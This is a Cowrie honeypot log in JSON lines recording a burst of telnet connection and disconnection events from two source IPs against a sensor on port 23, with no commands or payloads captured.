{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43400,"dst_ip":"10.17.0.5","dst_port":23,"session":"244a2eb417fb","protocol":"telnet","message":"New connection: 64.237.60.107:43400 (10.17.0.5:23) [session: 244a2eb417fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:43.192082Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43412,"dst_ip":"10.17.0.5","dst_port":23,"session":"04841fee02ff","protocol":"telnet","message":"New connection: 64.237.60.107:43412 (10.17.0.5:23) [session: 04841fee02ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:43.236457Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43426,"dst_ip":"10.17.0.5","dst_port":23,"session":"969f9274c6e9","protocol":"telnet","message":"New connection: 64.237.60.107:43426 (10.17.0.5:23) [session: 969f9274c6e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:43.319416Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43442,"dst_ip":"10.17.0.5","dst_port":23,"session":"fad1fb89e831","protocol":"telnet","message":"New connection: 64.237.60.107:43442 (10.17.0.5:23) [session: fad1fb89e831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:43.412468Z"}
{"eventid":"cowrie.session.closed","duration":31.55191993713379,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:43.606730Z","src_ip":"64.237.60.107","session":"d3c88b0834ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43456,"dst_ip":"10.17.0.5","dst_port":23,"session":"c46e2d0a1f1a","protocol":"telnet","message":"New connection: 64.237.60.107:43456 (10.17.0.5:23) [session: c46e2d0a1f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:43.853336Z"}
{"eventid":"cowrie.session.closed","duration":30.988763332366943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:44.027664Z","src_ip":"45.77.199.58","session":"bdbbd7e171d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.188172578811646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:44.065467Z","src_ip":"45.77.199.58","session":"350ee9a2ec48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":36408,"dst_ip":"10.17.0.5","dst_port":23,"session":"2713109a94d8","protocol":"telnet","message":"New connection: 45.77.199.58:36408 (10.17.0.5:23) [session: 2713109a94d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:44.123423Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43468,"dst_ip":"10.17.0.5","dst_port":23,"session":"47c9dade73a7","protocol":"telnet","message":"New connection: 64.237.60.107:43468 (10.17.0.5:23) [session: 47c9dade73a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:44.132184Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43470,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb7887013553","protocol":"telnet","message":"New connection: 64.237.60.107:43470 (10.17.0.5:23) [session: fb7887013553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:44.142988Z"}
{"eventid":"cowrie.session.closed","duration":31.039095640182495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:44.211834Z","src_ip":"64.237.60.107","session":"e2cfd78d4908","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43484,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a278988587b","protocol":"telnet","message":"New connection: 64.237.60.107:43484 (10.17.0.5:23) [session: 0a278988587b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:44.274177Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43496,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ee38347b78d","protocol":"telnet","message":"New connection: 64.237.60.107:43496 (10.17.0.5:23) [session: 1ee38347b78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:44.428507Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43512,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aa939fc5e8b","protocol":"telnet","message":"New connection: 64.237.60.107:43512 (10.17.0.5:23) [session: 8aa939fc5e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:44.492657Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43528,"dst_ip":"10.17.0.5","dst_port":23,"session":"85a1c49e91f9","protocol":"telnet","message":"New connection: 64.237.60.107:43528 (10.17.0.5:23) [session: 85a1c49e91f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:44.533780Z"}
{"eventid":"cowrie.session.closed","duration":31.453534603118896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:44.611997Z","src_ip":"64.237.60.107","session":"ad8ed0751869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43542,"dst_ip":"10.17.0.5","dst_port":23,"session":"9559cdad2a59","protocol":"telnet","message":"New connection: 64.237.60.107:43542 (10.17.0.5:23) [session: 9559cdad2a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:44.922576Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43548,"dst_ip":"10.17.0.5","dst_port":23,"session":"88a709a867b9","protocol":"telnet","message":"New connection: 64.237.60.107:43548 (10.17.0.5:23) [session: 88a709a867b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:45.090796Z"}
{"eventid":"cowrie.session.closed","duration":30.683704137802124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:45.120123Z","src_ip":"64.237.60.107","session":"6fea95373e8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.929951667785645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:45.168869Z","src_ip":"45.77.199.58","session":"388a21f46c84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43552,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd7cd44d1d69","protocol":"telnet","message":"New connection: 64.237.60.107:43552 (10.17.0.5:23) [session: fd7cd44d1d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:45.184708Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43562,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf7f3bf281e4","protocol":"telnet","message":"New connection: 64.237.60.107:43562 (10.17.0.5:23) [session: bf7f3bf281e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:45.284094Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43564,"dst_ip":"10.17.0.5","dst_port":23,"session":"228868c164f6","protocol":"telnet","message":"New connection: 64.237.60.107:43564 (10.17.0.5:23) [session: 228868c164f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:45.303569Z"}
{"eventid":"cowrie.session.closed","duration":31.198029041290283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:45.318006Z","src_ip":"64.237.60.107","session":"5319d9fab83e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43580,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5cd79f2d608","protocol":"telnet","message":"New connection: 64.237.60.107:43580 (10.17.0.5:23) [session: f5cd79f2d608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:45.340787Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43582,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7010170cb41","protocol":"telnet","message":"New connection: 64.237.60.107:43582 (10.17.0.5:23) [session: a7010170cb41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:45.376895Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43588,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3679868b7ab","protocol":"telnet","message":"New connection: 64.237.60.107:43588 (10.17.0.5:23) [session: b3679868b7ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:45.394967Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43604,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4d899e5beda","protocol":"telnet","message":"New connection: 64.237.60.107:43604 (10.17.0.5:23) [session: f4d899e5beda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:45.399178Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43616,"dst_ip":"10.17.0.5","dst_port":23,"session":"2997d6b2add7","protocol":"telnet","message":"New connection: 64.237.60.107:43616 (10.17.0.5:23) [session: 2997d6b2add7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:46.119020Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43622,"dst_ip":"10.17.0.5","dst_port":23,"session":"478d4ccd6741","protocol":"telnet","message":"New connection: 64.237.60.107:43622 (10.17.0.5:23) [session: 478d4ccd6741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:46.136193Z"}
{"eventid":"cowrie.session.closed","duration":30.319221019744873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:46.177719Z","src_ip":"64.237.60.107","session":"e769174a7bb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43634,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfbabc92c517","protocol":"telnet","message":"New connection: 64.237.60.107:43634 (10.17.0.5:23) [session: bfbabc92c517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:46.199086Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43646,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc6882732e51","protocol":"telnet","message":"New connection: 64.237.60.107:43646 (10.17.0.5:23) [session: dc6882732e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:46.297477Z"}
{"eventid":"cowrie.session.closed","duration":31.033366441726685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:46.898660Z","src_ip":"64.237.60.107","session":"e0d55777c14d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65165662765503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:47.045027Z","src_ip":"45.77.199.58","session":"2b15c70dd6e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1098575592041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:47.179230Z","src_ip":"64.237.60.107","session":"7fc22fb4e122","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":32930,"dst_ip":"10.17.0.5","dst_port":23,"session":"6776c9b0fbea","protocol":"telnet","message":"New connection: 64.237.60.107:32930 (10.17.0.5:23) [session: 6776c9b0fbea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:47.462594Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":32940,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f338205ca7a","protocol":"telnet","message":"New connection: 64.237.60.107:32940 (10.17.0.5:23) [session: 4f338205ca7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:47.600033Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":32956,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a20d07f1564","protocol":"telnet","message":"New connection: 64.237.60.107:32956 (10.17.0.5:23) [session: 2a20d07f1564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:47.703065Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":32964,"dst_ip":"10.17.0.5","dst_port":23,"session":"da7db8e6a6c3","protocol":"telnet","message":"New connection: 64.237.60.107:32964 (10.17.0.5:23) [session: da7db8e6a6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:47.786938Z"}
{"eventid":"cowrie.session.closed","duration":30.930034160614014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:48.080451Z","src_ip":"64.237.60.107","session":"3388310df235","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.654635667800903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:48.085571Z","src_ip":"64.237.60.107","session":"3bbfb59e51f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106736421585083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:48.155711Z","src_ip":"64.237.60.107","session":"1e9f1f63d677","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":32978,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a87523d2e32","protocol":"telnet","message":"New connection: 64.237.60.107:32978 (10.17.0.5:23) [session: 5a87523d2e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:48.189240Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":32990,"dst_ip":"10.17.0.5","dst_port":23,"session":"05f2c66300d3","protocol":"telnet","message":"New connection: 64.237.60.107:32990 (10.17.0.5:23) [session: 05f2c66300d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:48.326346Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":32998,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eaa2aa501cf","protocol":"telnet","message":"New connection: 64.237.60.107:32998 (10.17.0.5:23) [session: 4eaa2aa501cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:48.342733Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":36414,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a6a8e3f497d","protocol":"telnet","message":"New connection: 45.77.199.58:36414 (10.17.0.5:23) [session: 1a6a8e3f497d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:48.402354Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33014,"dst_ip":"10.17.0.5","dst_port":23,"session":"1061ae9d3aef","protocol":"telnet","message":"New connection: 64.237.60.107:33014 (10.17.0.5:23) [session: 1061ae9d3aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:48.408754Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33022,"dst_ip":"10.17.0.5","dst_port":23,"session":"345a81b40e0f","protocol":"telnet","message":"New connection: 64.237.60.107:33022 (10.17.0.5:23) [session: 345a81b40e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:48.726138Z"}
{"eventid":"cowrie.session.closed","duration":30.677733182907104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:49.075850Z","src_ip":"64.237.60.107","session":"17809125c69f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33026,"dst_ip":"10.17.0.5","dst_port":23,"session":"69f1850065d4","protocol":"telnet","message":"New connection: 64.237.60.107:33026 (10.17.0.5:23) [session: 69f1850065d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:49.108931Z"}
{"eventid":"cowrie.session.closed","duration":30.937644481658936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:49.132462Z","src_ip":"64.237.60.107","session":"95a06aab47ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.055326461791992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:49.220268Z","src_ip":"64.237.60.107","session":"bcc879c1053a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.774719715118408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:50.101594Z","src_ip":"64.237.60.107","session":"aa05ec78bb24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.956382036209106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:50.129166Z","src_ip":"64.237.60.107","session":"79b924f3f446","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33032,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf0ec8b61fc3","protocol":"telnet","message":"New connection: 64.237.60.107:33032 (10.17.0.5:23) [session: cf0ec8b61fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:50.160557Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33048,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3d92a7b92de","protocol":"telnet","message":"New connection: 64.237.60.107:33048 (10.17.0.5:23) [session: b3d92a7b92de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:50.220496Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33060,"dst_ip":"10.17.0.5","dst_port":23,"session":"acf0c7770fe4","protocol":"telnet","message":"New connection: 64.237.60.107:33060 (10.17.0.5:23) [session: acf0c7770fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:50.285207Z"}
{"eventid":"cowrie.session.closed","duration":31.498258352279663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:50.636080Z","src_ip":"45.77.199.58","session":"b62aee594889","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33064,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd2dd0be3dc3","protocol":"telnet","message":"New connection: 64.237.60.107:33064 (10.17.0.5:23) [session: fd2dd0be3dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:51.036634Z"}
{"eventid":"cowrie.session.closed","duration":30.262102842330933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:51.128382Z","src_ip":"64.237.60.107","session":"3d30ef36a246","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33066,"dst_ip":"10.17.0.5","dst_port":23,"session":"325540688b71","protocol":"telnet","message":"New connection: 64.237.60.107:33066 (10.17.0.5:23) [session: 325540688b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:51.146463Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33076,"dst_ip":"10.17.0.5","dst_port":23,"session":"f47258e59857","protocol":"telnet","message":"New connection: 64.237.60.107:33076 (10.17.0.5:23) [session: f47258e59857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:51.287647Z"}
{"eventid":"cowrie.session.closed","duration":31.101885080337524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:51.334366Z","src_ip":"64.237.60.107","session":"edcaab609ae3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33090,"dst_ip":"10.17.0.5","dst_port":23,"session":"13aa91714feb","protocol":"telnet","message":"New connection: 64.237.60.107:33090 (10.17.0.5:23) [session: 13aa91714feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:51.357233Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33094,"dst_ip":"10.17.0.5","dst_port":23,"session":"7094e21de4b6","protocol":"telnet","message":"New connection: 64.237.60.107:33094 (10.17.0.5:23) [session: 7094e21de4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:51.361576Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33110,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d8913102919","protocol":"telnet","message":"New connection: 64.237.60.107:33110 (10.17.0.5:23) [session: 1d8913102919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:51.421432Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33114,"dst_ip":"10.17.0.5","dst_port":23,"session":"06dc467eda61","protocol":"telnet","message":"New connection: 64.237.60.107:33114 (10.17.0.5:23) [session: 06dc467eda61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:51.481754Z"}
{"eventid":"cowrie.session.closed","duration":31.395060062408447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:51.976730Z","src_ip":"45.77.199.58","session":"1162c85e2246","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33118,"dst_ip":"10.17.0.5","dst_port":23,"session":"e34090af5b37","protocol":"telnet","message":"New connection: 64.237.60.107:33118 (10.17.0.5:23) [session: e34090af5b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:52.081621Z"}
{"eventid":"cowrie.session.closed","duration":30.622738361358643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:52.102730Z","src_ip":"64.237.60.107","session":"04c542285dd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33120,"dst_ip":"10.17.0.5","dst_port":23,"session":"899a2f17a220","protocol":"telnet","message":"New connection: 64.237.60.107:33120 (10.17.0.5:23) [session: 899a2f17a220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:52.108637Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33128,"dst_ip":"10.17.0.5","dst_port":23,"session":"24cb983c6f1f","protocol":"telnet","message":"New connection: 64.237.60.107:33128 (10.17.0.5:23) [session: 24cb983c6f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:52.227824Z"}
{"eventid":"cowrie.session.closed","duration":30.99232029914856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:52.233490Z","src_ip":"64.237.60.107","session":"659d14ce801a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33138,"dst_ip":"10.17.0.5","dst_port":23,"session":"f962081f1801","protocol":"telnet","message":"New connection: 64.237.60.107:33138 (10.17.0.5:23) [session: f962081f1801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:52.305565Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33140,"dst_ip":"10.17.0.5","dst_port":23,"session":"b388f647f1e6","protocol":"telnet","message":"New connection: 64.237.60.107:33140 (10.17.0.5:23) [session: b388f647f1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:52.368812Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":33150,"dst_ip":"10.17.0.5","dst_port":23,"session":"a947d43cd2b6","protocol":"telnet","message":"New connection: 64.237.60.107:33150 (10.17.0.5:23) [session: a947d43cd2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:52.374113Z"}
